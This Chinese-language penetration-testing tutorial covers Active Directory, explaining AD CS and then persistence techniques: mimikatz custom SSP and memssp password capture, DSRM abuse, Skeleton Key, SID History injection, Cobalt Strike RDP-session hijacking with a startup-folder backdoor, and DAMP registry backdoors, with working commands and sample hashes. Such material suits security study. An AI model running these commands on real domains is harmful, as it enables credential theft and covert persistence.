**主题备用名称(Subject Alternative Names,SAN)**是一种X.509v3扩展。它允许将附加身份与证书绑定。例如,如果一个Web服务器托管多个域的内容,每个适用的域都可以包含在SAN中,这样Web服务器只需要一个HTTPS证书。 默认情况下,在基于证书的身份验证期间,AD根据SAN中指定的UPN将证书映射到用户帐户。如果攻击者可以在请求启用客户端身份验证的证书时指定任意的SAN,并且CA使用攻击者提供的SAN创建和签署证书,那么攻击者可以成为域中的任何用户。

AD CS(Active Directory Certificate Services)在CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>容器下定义了AD域信任的CA证书,其目的有四个不同的位置:

  1. Certification Authorities容器定义受信任的根CA证书。这些CA位于PKI树层次结构的顶部,并且是AD CS环境中信任的基础。每个CA都表示为容器内的AD对象,其中objectClass设置为certificationAuthority,cACertificate属性包含CA证书的字节。Windows将这些CA证书传播到每台Windows计算机上的可信根证书颁发机构存储区。为了让AD将证书视为受信任的,证书的信任链必须最终以此容器中定义的一个根CA结束。
  2. 注册服务容器为每个企业CA(即在启用了Enterprise CA角色的AD CS中创建的CA)定义了一个AD对象,具有以下属性:
  • 一个pKIEnrollmentService对象类属性
  • 包含CA证书字节的cACertificate属性
  • dNSHostName属性设置CA的DNS主机名
  • certificateTemplates字段定义了启用的证书模板。证书模板是CA在创建证书时使用的设置的“蓝图”,包括EKUs、注册权限、证书过期、签发要求和密码设置等。稍后我们将详细讨论证书模板。

在AD环境中,客户端与企业CA进行交互,根据证书模板中定义的设置请求证书。企业CA证书被传播到每台Windows计算机上的Intermediate Certification Authorities证书存储区。

  1. NTAuthCertificates AD对象定义了启用对AD的身份验证的CA证书。该对象的objectClass为certificationAuthority,对象的cACertificate属性定义了一组受信任的CA证书。加入AD域的Windows计算机将这些CA传播到每台计算机上的Intermediate Certification Authorities证书存储区。只有由NTAuthCertificates对象定义的一个CA签署了进行身份验证的客户端证书,客户端应用程序才能使用证书进行对AD的身份验证。
  2. AIA(Authority Information Access)容器包含中间和交叉CA的AD对象。中间CA是PKI树层次结构中根CA的“子级”,因此该容器存在以帮助验证证书链。与Certification Authorities容器类似,每个CA都表示为AIA容器中的AD对象,其中objectClass属性设置为certificationAuthority,cACertificate属性包含CA证书的字节。这些CA被传播到每台Windows计算机上的Intermediate Certification Authorities证书存储区。

客户端证书请求流程

  1. 这是从AD CS获取证书的过程。在较高级别上,在注册期间,客户端首先根据注册服务容器中的对象找到一个企业CA。
  2. 然后,客户端生成一个公私钥对,并将公钥与证书签名请求(CSR)消息一起放置,其中还包括证书的主题和证书模板名称等其他详细信息。
  3. 然后,客户端使用其私钥对CSR进行签名,并将CSR发送到企业CA服务器。 CA服务器检查客户端是否可以请求证书。如果可以,它将通过查找CSR中指定的证书模板AD对象来确定是否发放证书。 CA将检查证书模板AD对象的权限,以判断验证帐户是否可以获取证书。
  4. 如果是这样,CA将使用证书模板定义的“蓝图”设置(例如,EKUs、加密设置和发行要求),并根据CSR中提供的其他信息(如果证书的模板设置允许)生成证书。 CA使用自己的私钥对证书进行签名,然后将其返回给客户端。

p3ndeyki04i11950.png

证书模板

AD CS将可用的证书模板作为具有pKICertificateTemplate对象类的AD对象存储在以下容器中:

CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>

AD证书模板对象的属性定义了其设置,其安全描述符控制谁可以注册证书或编辑证书模板。

AD证书模板对象上的pKIExtendedKeyUsage属性包含在模板中启用的OID数组。这些扩展密钥用途(EKU)OIDs影响证书的使用方式。你可以在这里找到可能的OID列表。

https://www.pkisolutions.com/object-identifiers-oid-in-pki/

cof0rojkc5y11955.png

证书注册

管理员需要创建证书模板,然后企业CA将该模板“发布”,使其可供客户端注册。AD CS规定,在企业CA上启用证书模板是通过将模板名称添加到AD对象的certificatetemplates字段来实现的。

ns2oodpb50k11960.png

AD CS使用两个安全描述符定义注册权限-哪些主体可以请求证书:一个在证书模板AD对象上,另一个在企业CA本身上。 客户端需要在这两个安全描述符中都被授权,才能够请求证书。

证书模板注册权限

  1. ACE授予主体证书注册扩展权限(the Certificate-Enrollment extended right)。原始ACE授予主体RIGHT_DS_CONTROL_ACCESS45访问权限,其中ObjectType设置为0e10c968-78fb-11d2-90d4-00c04f79dc5547。此GUID对应证书注册扩展权限。
  2. ACE授予主体证书自动注册扩展权限(the Certificate-AutoEnrollment extended right)。原始ACE授予主体RIGHT_DS_CONTROL_ACCESS48访问权限,其中ObjectType设置为a05b8cc2-17bc-4802-a710-e7c15ab866a249。此GUID对应证书自动注册扩展权限。
  3. ACE授予主体所有扩展权限(all ExtendedRights)。原始ACE启用RIGHT_DS_CONTROL_ACCESS访问权限,其中ObjectType设置为00000000-0000-0000-0000-000000000000。此GUID对应所有扩展权限。
  4. ACE授予主体FullControl/GenericAll权限。原始ACE启用FullControl/GenericAll访问权限。

企业CA的注册权限

企业CA上配置的安全描述符定义了这些权限,并且可以通过在证书颁发机构MMC插件certsrv.msc中右键单击CA → 属性 → 安全来查看该描述符。

j2can3z2xbv11966.png

这最终会在CA服务器上的注册表项HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration<CA名称>中设置Security值。我们遇到过几个AD CS服务器,通过远程注册表将低特权用户授予对该键的远程访问权限。

xb51kwjfocl11971.png

低特权用户还可以使用ICertAdminD2 COM接口的GetCASecurity方法通过DCOM枚举此项。但是,正常的Windows客户端需要安装远程服务器管理工具(RSAT)才能使用它,因为COM接口及其实现它的任何COM对象默认情况下都不会存在于Windows上。

发布要求

管理批准

CA证书管理员批准导致证书模板在AD对象的msPKI-EnrollmentFlag属性上设置CT_FLAG_PEND_ALL_REQUESTS(0x2)位。这将基于该模板的所有证书请求置于挂起状态(在certsrv.msc的“挂起请求”部分可见),这需要证书管理员在颁发证书之前批准或拒绝该请求。

tuwgsjlvuij11976.png

登记代理、授权签名和应用策略

授权签名的数量以及应用策略。前者控制着CA接受CSR所需的签名数量。后者定义了CSR签名证书必须具备的EKU OID。

这些设置的常见用途是用于登记代理。登记代理是AD CS术语,指可以代表其他用户请求证书的实体。为此,CA必须向登记代理帐户颁发包含至少证书请求代理EKU(OID 1.3.6.1.4.1.311.20.2.1)的证书。一旦颁发,登记代理就可以代表其他用户签署CSR并请求证书。只有在以下非全面条件的情况下,CA才会将登记代理作为另一个用户发出的证书(主要在默认策略模块certpdef.dll中实现):

  • Windows用户对目标证书模板具有登记权限。
  • 如果证书模板的架构版本为1,CA将要求签名证书在颁发证书之前具备证书请求代理OID。证书模板的架构版本是指其AD对象的msPKI-Template-Schema-Version属性中指定的版本。
  • 如果证书模板的架构版本为2:
  • 该模板必须设置“这个授权签名的数量”设置,并且指定数量的登记代理必须签署CSR(模板的mspkira-signature AD属性定义了此设置)。换句话说,此设置指定在CA考虑颁发证书之前,需要多少个登记代理对CSR进行签名。
  • 该模板的“应用策略”颁发限制必须设置为“证书请求代理”。

请求证书

  1. 使用Windows客户端证书登记协议(MS-WCCE),这是一组与各种AD CS功能(包括登记)交互的分布式组件对象模型(DCOM)接口。默认情况下,所有AD CS服务器都启用了DCOM服务器,并且我们经常看到客户端通过此方法请求证书。
  2. 通过ICertPassage远程协议(MS-ICPR),可以使用命名管道或TCP/IP进行远程过程调用(RPC)通信。
  3. 访问证书登记Web界面。要使用此功能,ADCS服务器需要安装证书颁发机构Web登记角色。启用后,用户可以访问运行在http:///certsrv/的托管在IIS上的ASP Web登记应用程序。 certipy req -ca 'corp-DC-CA' -username john@corp.local -password Passw0rd -web -debug
  4. 与证书登记服务(CES)进行交互。要使用此功能,服务器需要安装证书登记Web服务角色。启用后,用户可以通过https:///_CES_Kerberos/service.svc访问Web服务以请求证书。此服务与证书登记策略(CEP)服务配合使用(通过证书登记策略Web服务角色安装),客户端可以使用该服务在URL https:///ADPolicyProvider\_CEP\_Kerberos/service.svc 列出证书模板。在内部,证书登记和策略Web服务分别实现了MS-WSTEP和MS-XCEP(两种基于SOAP的协议)。
  5. 使用网络设备登记服务。要使用此功能,服务器需要安装网络设备登记服务角色,该服务允许客户端(即网络设备)通过简单证书登记协议(SCEP)获取证书。启用后,管理员可以从URL http:///CertSrv/mscep\_admin/获取一次性密码(OTP)。然后,管理员可以将OTP提供给网络设备,设备将使用SCEP通过URL http://NDESSERVER/CertSrv/mscep/请求证书。
  6. 在Windows机器上,用户可以使用GUI请求证书,方法是启动certmgr.msc(用于用户证书)或certlm.msc(用于计算机证书),展开个人证书存储→右键点击"Certificates"→所有任务→请求新证书。
  7. 也可以使用内置的certreq.exe命令或PowerShell的Get-Certificate命令进行证书登记。

证书认证

AD(Active Directory)默认支持两种协议的证书认证:Kerberos和Secure Channel(Schannel)。

Kerberos 身份验证和 NTAuthCertificates 容器

总而言之,用户将使用其证书的私钥对TGT请求的认证器进行签名,并将此请求提交给域控制器。域控制器执行多个验证步骤,如果一切顺利,则发放一个TGT。

更详细地说: KDC(密钥分发中心)会验证用户的证书(时间、路径和吊销状态),以确保证书来自可信任的源。KDC使用CryptoAPI从用户的证书到位于域控制器上的根证书颁发机构(CA)证书之间建立一个认证路径。然后,KDC使用CryptoAPI验证预身份验证数据字段中包含的已签名认证器上的数字签名。域控制器验证签名,并使用用户证书上的公钥来证明该请求源自与该公钥对应的私钥的所有者。KDC还验证发行者是否受信任,并且是否出现在NTAUTH证书存储库中。

这里提到的“NTAUTH证书存储库”是指AD CS在以下位置安装的一个AD对象:

CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>

通过将CA证书发布到企业级NTAuth存储库,管理员表示信任该CA可以发布这些类型的证书。Windows CA会自动将其CA证书发布到此存储库。

这意味着当AD CS创建新的CA(或更新CA证书)时,它会通过将新证书添加到对象的cacertificate属性中,将新证书发布到NTAuthCertificates对象中。

akddekrbcgy11983.png

在证书认证期间,DC可以验证认证证书链到由NTAuthCertificates对象定义的CA证书。NTAuthCertificates对象中的CA证书必须再次链接到根CA。这里的重要信息是,NTAuthCertificates对象是Active Directory中证书认证的信任根!

安全通道 (Schannel) 身份验证

Schannel是Windows在建立TLS/SSL连接时使用的安全支持提供程序(SSP)。Schannel支持客户端身份验证(以及许多其他功能),使远程服务器能够验证连接用户的身份。它通过PKI实现这一点,其中证书是主要凭据。

在TLS握手期间,服务器请求客户端提供用于身份验证的证书。客户端之前从服务器信任的CA获得了客户端身份验证证书,将其证书发送到服务器。然后服务器验证证书是否正确,并在一切正常的情况下授予用户访问权限。

b5unzvxriop11996.png

当一个帐户使用证书对AD进行身份验证时,DC需要以某种方式将证书凭据映射到一个AD帐户。Schannel首先尝试使用Kerberos的S4U2Self功能将凭据映射到用户帐户。

如果不成功,它将尝试使用证书的SAN扩展、主题和颁发者字段的组合,或者仅根据颁发者将证书映射到用户帐户。默认情况下,在AD环境中,不支持使用Schannel直接进行AD身份验证的协议并不多。WinRM、RDP和IIS都支持使用Schannel进行客户端身份验证,但需要额外的配置,并且在某些情况下(例如WinRM),无法与Active Directory集成。

一个通常有效的协议(假设已经设置了AD CS)是LDAPS。命令Get-LdapCurrentUser演示了如何使用.NET库对LDAP进行身份验证。该命令执行一个LDAP的“Who am I?”扩展操作来显示当前正在进行身份验证的用户。

ahffqhnjhhp12004.png

AD CS 枚举

就像对于AD的大部分内容一样,通过查询LDAP作为域身份验证但没有特权的用户,可以获取到前面提到的所有信息。

如果我们想枚举企业CA及其设置,可以在CN=Configuration,DC=<domain>,DC=<com>搜索基础上使用(objectCategory=pKIEnrollmentService) LDAP筛选器进行LDAP查询(此搜索基础对应于AD林的配置命名上下文)。结果将标识出CA服务器的DNS主机名、CA名称本身、证书的开始和结束日期、各种标志、已发布的证书模板等。

AD CS 枚举工具

Certify是一个使用C#编写的工具,可以枚举有关AD CS环境的有用配置和基础结构信息,并可以以多种不同的方式请求证书。https://github.com/GhostPack/Certify

Certipy是一个Python工具,可以从任何能够生成BloodHound输出的系统(具有对DC的访问权限)中枚举和滥用Active Directory证书服务(AD CS)。https://github.com/ly4k/Certipy

# https://github.com/GhostPack/Certify

Certify.exe cas #枚举受信任的根CA证书、NTAuthCertificates对象定义的证书以及有关企业CA的各种信息

Certify.exe find #枚举证书模板

Certify.exe find /vulnerable #枚举可修复证书模板

# https://github.com/ly4k/Certipy

certipy find -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128

certipy find -vulnerable [-hide-admins] -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128 #搜索易受攻击的模板

certutil.exe -TCAInfo #枚举企业CA

certutil -v -dstemplate #枚举证书模板

w30ujym5oo512010.png

bellsgwz55u12018.png

axmep0pgk3a12022.png

Custom SSP

https://book.hacktricks.xyz/windows-hardening/authentication-credentials-uac-and-efs#security-support-provider-interface-sspi

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/custom-ssp

https://blog.csdn.net/weixin_42282189/article/details/120103661

https://blog.csdn.net/qq_41617902/article/details/128742631

SSP即Security Support Provider(安全支持提供者)是一个用于实现身份验证的DLL文件,主要用于Windows操作系统的身份认证功能。

当操作系统启动时SSP会被加载到lsass.exe进程中,由于lsass可通过注册表进行扩展,导致了在操作系统启动时,可以加载一个自定义的dll,来实现想要执行的操作。

当我们在域环境内对LSA进行拓展自定义DLL文件时,就能够获取到lsass.exe进程中的明文密码,即使修改密码重新登陆,我们依旧可以获得密码,达到域权限维持的效果。

SSPI ( Security Support Provider Interfce.安全支持提供程序接口)是Windows操作系统在执行认证操作时使用的API接口。可以说,SSPI是SSP的API接口。

SSPI负责找到两台想要通信的计算机所需的适当协议。首选方法是Kerberos。然后SSPI将协商使用哪种认证协议,这些认证协议被称为安全支持提供程序(Security Support Provider,SSP),以DLL的形式存在于每台Windows计算机中,双方计算机必须支持相同的SSP才能进行通信。

Kerberos :首选

  • %windir%\Windows\System32\kerberos.dll

NTLMv1和NTLMv2 :兼容性原因

  • %windir%\Windows\System32\msv1_0.dll

摘要:Web 服务器和 LDAP,MD5 哈希形式的密码

  • %windir%\Windows\System32\Wdigest.dll

Schannel :SSL 和 TLS

  • %windir%\Windows\System32\Schannel.dll

Negotiate :用于协商要使用的协议(Kerberos 或 NTLM 是 Kerberos 的默认协议)

  • %windir%\Windows\System32\lsasrv.dll

如果获得了网络中目标机器的System权限,可以使用该方法进行持久化操作,获取目标lsass.exe进程中的明文密码。

攻击方式
注入LSASS进程

通过往lsass进程注入代码来加载msv1_0.dll中的SpAcceptCredentials函数,该攻击不会在系统中留下二进制文件。但如果机器重启,被注入的代码就会失效。该攻击会在系统登录过程中将获取的明文密码存储在日志文件中。(需要注销,但是不能重启)

C:\Windows\System32\mimilsa.log

mimikatz.exe "privilege::debug" "misc::memssp" exit

//注意,很有可能会导致目标主机直接死机重启,例如Windows server 2016

lyda3et5eml12026.png

然后注销账户重新登录,在C:\Windows\System32 查看是否有mimilsa.log文件。

4nrg1odrjq012029.png

使用工具PCHunter查看lsass进程。

qaj2ojy4dps12036.png

修改注册表扩展功能

将mimikatz中的 mimilib.dll 传到目标域控的C:\windows\system32\目录下,使用dll的位数与目标操作系统保持一致。该dll有个SpLsaModeInitialize导出函数,lsass会使用该函数来初始化包含多个回调函数的一个结构体,其中回调函数SpAcceptCredentials用来接收LSA传递的明文凭据,以便SSP缓存,mimikatz利用AddSecurityPackage这个API来加载SSP,这样可以在不重启的情况下添加Mimilib。当添加成功后,我们发现每次进行身份认证时,凭据信息都会被写入kiwissp.log文件中。(需要重启,并且重启之后仍有效)

默认情况下,HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages该注册表项默认值为“”。

nk1mtcdpmoy12043.png

将mimilib.dll复制到域控C:\windows\system32(放入该路径下是为了直接加载,而不用指定dll文件的路径)。

ooyojm1nydj12051.png

在注册表:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages下添加mimilib.dll之后只要触发了身份认证就会记录登录密码。

修改注册表,在键值Security Packages下添加 mimilib.dll,系统重启后会记录登陆密码。i5rtara0pv012058.png

//查看注册表Security Packages的值。

reg query HKLM\System\CurrentControlSet\Control\Lsa /v "Security Packages"

//添加注册表Security Packages的值,只添加mimilib.dll也可以,每一个字符串使用 \0 进行分隔。

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib.dll" /t REG_MULTI_SZ

fdhbx4p3tc012064.png

44mqob4qbxx12070.png

域控重启之后,在C:\Windows\System32路径下存在一个新的日志文件,Kiwissp.log,其中保存着明文密码。

nsdjmqar0a112075.png

痕迹特征

Windows Event 4622[需开启收集日志才会有]。
文件创建:mimilsa.log、kiwissp.log。
注册表修改:HKLM\System\CurrentControlSet\Control\Lsa\Security Packages。

eu4jbjidcpc12078.png

mimilib.dll文件也存在特征。

bnmgjbtjccw12082.png

DSRM凭据

目录服务恢复模式(DSRM,Directory Services Restore Mode),是Windows服务器域控制器的安全模式启动选项。DSRM允许管理员用来修复或还原修复或重建活动目录数据库。活动目录安装后,安装向导提示管理员选择一个DSRM密码。有了密码,管理员可以防护数据库后门,避免之后出问题。但是它不提供访问域或任何服务。如果DSRM密码忘了,可以使用命令行工具NTDSUtil进行更改。

bf2thicmqhd12085.png

在渗透测试中,可以使用DSRM对域环境进行持久化操作。适用版本为windows server2008(需安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步)及以后的版本,windows server2003不能使用此方法。

每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。

当我们已经拿下域控,使用DSRM凭据进行权限维持。DSRM就是域控机器的本地administrator账户。(域控机器的本地administrator账户是不能通过net user administrator password命令进行密码修改的,正常情况也是无法进行登录)

使用mimikatz查看并读取SAM文件中本地管理员的NTLM Hash

privilege::debug

token::elevate

lsadump::sam

azq4d2f0seb12087.png

修改DSRM的登录方式

DSRM有三种登录方式,具体如下:

  • 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
  • 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
  • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器

在Windows Server 2000以后的版本操作系统中,对DSRM使用控制台登录域控制器进行了限制。如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2。输入如下命令,可以使用PowerShell进行更改。

New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

1xw0rwistkp12092.png

51aa0ul2z0012096.png

privilege::Debug

sekurlsa::pth /domain:AD-1-2016 /user:administrator /ntlm:1a44db2e8b368a053202da00bc30cdba

hl3oal3dek312101.png

或者我们可以直接将DSRM账户的HASH修改成我们已经获取到明文的HASH值,这样就可以进行明文登录。

adminw 0ec4b410903c6dc7594464f27d347497 //User!@#45

将DSRM账号和adminw的NTLM Hash同步(为DSRM设置新密码),使用工具NTDSUTIL。

ntdsutil //打开ntdsutil

set DSRM password //修改DSRM的密码

sync from domain account adminw //使DSRM的密码和指定域用户的密码同步

q //退出DSRM密码设置模式

q //退出ntdsutil

r2wlkck5zny12105.png

发现已经成功修改HASH

ghlzgs1quwa12110.png

修改后可以直接在域控机器登录本地administrator账户。

dxdlgnhbmz012117.png

该账户权限与域控机器账户权限类似,可以直接使用DCSync功能导出域内HASH。

防御方法
  1. 定期检查注册表中用于控制DSRM登录方式的键值 HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior,确认该值为1,或者删除该键值。
  2. 定期修改域中所有域控制器的DSRM账号。
  3. 经常检查ID 为4794的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中。

万能密码

Skeleton Key 是一种专门针对 Active Directory 域的恶意软件,它使得劫持任何账户变得异常容易。该恶意软件将自身注入到 LSASS 进程中,并创建了一个适用于域中任意账户的主密码。现有的密码仍然有效,因此很难察觉到这种攻击的发生。

攻击要求

  1. 为了进行这种攻击,攻击者必须具有域管理员权限(使用DSRM中的域控本地Administrator账户也可以)。
  2. 为了完全控制,这种攻击必须在每个域控制器上执行,但即使只针对单个域控制器进行攻击也可能有效(需要在域内所有域控上执行)。
  3. 重新启动域控制器将会移除该恶意软件,并且攻击者需要重新部署它(域控重启后则无效)。

使用mimikatz在域控上执行即可,之后可以使用默认密码mimikatz作为任何用户进行认证。

privilege::debug

misc::skeleton

0nursphtgjz12121.png

这时我们在成员机进行连接。

v4t0jvxd1s012126.png

注意:如果您看到“系统错误 86 已发生。指定的网络密码不正确”消息,请尝试使用域名\账户格式作为用户名,这样应该就可以正常工作了。

如果 lsass 已经打了skeletal 补丁,那么会出现这个错误:

rkfjv4qxzgn12131.png

痕迹事件:

  • 系统事件 ID 7045 - 系统中安装了一个服务。(内核模式驱动程序类型)
  • 安全事件 ID 4673 - 敏感权限使用(必须启用“审核特权使用”)
  • 事件 ID 4611 - 一个受信任的登录过程已经在本地安全性机构注册(必须启用“审核特权使用”)

Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$_.message -like "Kernel Mode Driver"}

这只能检测到mimidrv

Get-WinEvent -FilterHashtable @{Logname='System';ID=7045} | ?{$.message -like "Kernel Mode Driver" -and $.message -like "mimidrv"}

缓解措施:

将 lsass.exe 作为受保护的进程运行,这将强制攻击者加载一个内核模式驱动程序。

New-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name RunAsPPL -Value 1 -Verbose

重新启动后验证:

Get-WinEvent -FilterHashtable @{Logname='System';ID=12} | ?{$_.message -like "protected process"}

SID History

每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。在Windows操作系统中,系统使用安全标识符来唯一标识系统中执行各种动作的实体,每个用户有SID,计算机、用户组和服务同样也有SID,并且这些SID互不相同,这样才能保证所标识实体的唯一性。

SID History是在域迁移过程中需要使用的一个属性。

如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。

SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。

使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获得了域管理员权限(或者是修改用户SIDHistory属性的权限),则可以将SID History作为实现持久化的方法。

privilege::debug

//https://blog.csdn.net/HBohan/article/details/119805869

sid::patch

//将administrator的SID添加到man06的SID History属性中,或者直接后接SID

sid::add /sam:man06 /new:administrator

注意:使用sid::patch需要有两个要求:

  1. 对域控LDAP修改过程中的验证函数进行patch,需要在域控上执行
  2. patch共分为两个步骤,如果仅第一步patch成功的话,那么可以使用sid::add功能,两步都patch成功的话才可以使用sid::modify功能。
  3. 详细可以查看https://blog.csdn.net/HBohan/article/details/119805869。

在一些情况下,只要具有修改SID History属性的权限,并不需要sid::patch就可以直接更改用户的SID History属性。

privilege::debug

//或者/new:<Administrator SID>

sid::add /sam:man06 /new:administrator

这里我们直接登录成员机的本地管理员用户

50j0eqcnz0u12134.png

使用PTH获得域管理员权限。

sekurlsa::pth /user:adminw /domain:ww1.com /ntlm:0ec4b410903c6dc7594464f27d347497

olrcpnd0tl512139.png

由于不是域控,发现sid::patch命令运行报错。

ex4zxncdk1u12147.png

这里我们获取到域控的SID,直接修改man06的SID History属性。

sid::add /sam:man06 /new:S-1-5-21-2672614020-1166804175-548711290-500

发现成功添加。

rrc1bie2c1q12156.png

Import-Module activedirectory

Get-ADUser man06 -Properties sidhistory //使用powershell查看man06的属性

qymd4u2a4ks12161.png

登录man06账户查看是否具有权限。

wletbertywe12176.png

发现成功提权,可以用于权限维持或者隐藏。

跨域安全

https://zhuanlan.zhihu.com/p/424472286

https://blog.csdn.net/hx_chong/article/details/119809022

RDP Sessions Abuse

如果外部组对当前域中的任何计算机具有RDP访问权限,攻击者可以入侵该计算机并等待用户。 一旦该用户通过RDP访问,攻击者就可以转移到该用户的会话,并滥用其在外部域中的权限。

//假设组“外部用户”在当前域中具有RDP访问权限

//让我们找出他们可以访问的位置

//最简单的方法是使用BloodHound,但你也可以运行:

Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName

//或者

Find-DomainLocalGroupMember -GroupName "Remote Desktop Users" | select -expand ComputerName

//然后,入侵列出的机器,并等待外部域的某个人登录:

net logons

Logged on users at \\localhost:

EXT\super.admin

//通过Cobalt Strike,你可以在RDP进程中注入一个信标(beacon)。

beacon> ps

PID PPID Name Arch Session User

--- ---- ---- ---- ------- -----

...

4960 1012 rdpclip.exe x64 3 EXT\super.admin

beacon> inject 4960 x64 tcp-local

//通过那个信标,你可以直接运行 Powerview 模块,并以该用户的身份与外部域进行交互。

如果用户通过RDP登录到一台被攻击者等待的计算机上,攻击者将能够在用户的RDP会话中注入一个信标(beacon),如果受害者在通过RDP访问时挂载了他的驱动器,攻击者就可以访问它。

在这种情况下,你可以通过在启动文件夹中写入后门来入侵受害者的原始计算机。

# Wait til someone logs in:

net logons

Logged on users at \\localhost:

EXT\super.admin

# With cobalt strike you could just inject a beacon inside of the RDP process

beacon> ps

PID PPID Name Arch Session User

--- ---- ---- ---- ------- -----

...

4960 1012 rdpclip.exe x64 3 EXT\super.admin

beacon> inject 4960 x64 tcp-local

# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.

## \\tsclient\c is the C: drive on the origin machine of the RDP session

beacon> ls \\tsclient\c

Size Type Last Modified Name

---- ---- ------------- ----

dir 02/10/2021 04:11:30 $Recycle.Bin

dir 02/10/2021 03:23:44 Boot

dir 02/20/2021 10:15:23 Config.Msi

dir 10/18/2016 01:59:39 Documents and Settings

[...]

# Upload backdoor to startup folder

beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

beacon> upload C:\Payloads\pivot.exe

还有很多与RDP相关的利用,可以参考:

https://www.freebuf.com/articles/network/276242.html

还可以进行RDP劫持:

https://blog.csdn.net/qq_32731075/article/details/119011394

安全描述符

安全描述符包含与安全对象关联的安全信息。 安全描述符由 SECURITY_DESCRIPTOR 结构及其关联的安全信息组成。 安全描述符可以包含以下安全信息:

  • 对象的 所有者和主组的安全标识符 (SID) 。
  • 一个 DACL ,指定允许或拒绝的特定用户或组的访问权限。
  • 一个 SACL,指定为对象生成审核记录的访问尝试的类型。
  • 一组控制位,用于限定安全描述符或其单个成员的含义。

应用程序不得直接操作安全描述符的内容。 Windows API 提供用于在对象的安全描述符中设置和检索安全信息的函数。 此外,还有用于为新对象创建和初始化安全描述符的函数。

安全描述符定义语言(SDDL)定义了描述安全描述符的格式。SDDL使用ACE字符串来表示DACL和SACL的:

ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;

安全描述符用于存储对象对另一个对象的权限。如果你可以对一个对象的安全描述符进行微小的更改,你可以在不需要成为特权组成员的情况下获得对该对象的非常有趣的权限。 因此,这种持久性技术基于能够获得对某些对象所需的每个权限的能力,以便能够执行通常需要管理员权限但无需管理员身份的任务。

WMI 权限

使用nishang中的Set-RemoteWMI.ps1工具授予用户远程执行 WMI 的权限:

Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc –namespace 'root\cimv2' -Verbose

Set-RemoteWMI -UserName student1 -ComputerName dcorp-dc–namespace 'root\cimv2' -Remove -Verbose #Remove

WinRM权限

使用nishang中的Set-RemoteWMI.ps1工具授予用户远程执行WinRM 的权限:

Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Verbose

Set-RemotePSRemoting -UserName student1 -ComputerName <remotehost> -Remove #Remove

转储哈希权限

使用工具DAMP访问注册表并转储哈希(hash),创建一个注册表后门,这样你可以随时检索计算机的哈希,SAM和计算机中缓存的任何AD凭据。因此,将这个权限赋予普通用户对于域控制器计算机非常有用:

https://github.com/HarmJ0y/DAMP

//允许远程检索系统的计算机和本地帐户哈希,以及其域中缓存的凭据。

Add-RemoteRegBackdoor -ComputerName <remotehost> -Trustee student1 -Verbose

//滥用由Add-RemoteRegBackdoor设置的ACL后门,远程检索指定机器的本地机器帐户哈希。

Get-RemoteMachineAccountHash -ComputerName <remotehost> -Verbose

//滥用由Add-RemoteRegBackdoor设置的ACL后门,远程检索指定机器的本地SAM帐户哈希。

Get-RemoteLocalAccountHash -ComputerName <remotehost> -Verbose

//滥用由Add-RemoteRegBackdoor设置的ACL后门,远程检索指定机器的域缓存凭据。

Get-RemoteCachedCredential -ComputerName <remotehost> -Verbose

特权组

已知具有管理权限的组

  • Administrators
  • Domain Admins
  • Enterprise Admins

在安全评估中,还可以通过链接多个攻击向量来利用其他帐户成员资格和访问令牌权限。

Account Operators

账号操作员组,该组的成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器,但是,不能更改属于 Administrators 或 Domain Admins 组的账户,也不能修改这些组。在默认情况下,该组中没有成员。

  • 允许在域上创建非管理员帐户和组
  • 允许本地登录DC

powershell -exec bypass

Import-Module .\PowerView.ps1

Get-NetGroupMember -Identity "Account Operators" -Recurse

ldkdcnjvuz012180.png

直接查看该用户信息

net user man06 /domain

topyey2blre12184.png

允许在域上创建非管理员帐户和组

wnscsqvjvn512187.png

允许本地登录DC

ha1s5guytup12191.png

AdminSDHolder group

AdminSDHolder对象的访问控制列表(ACL)用作将权限复制到Active Directory中的所有“受保护组”及其成员的模板。受保护组包括特权组,如域管理员、管理员、企业管理员和架构管理员。

默认情况下,此组的ACL被复制到所有“受保护组”中。这样做是为了避免对这些关键组进行有意或意外的更改。然而,如果攻击者修改了AdminSDHolder组的ACL,例如给定一个普通用户完全权限,该用户将在受保护组内的所有组上具有完全权限(在60分钟后)。

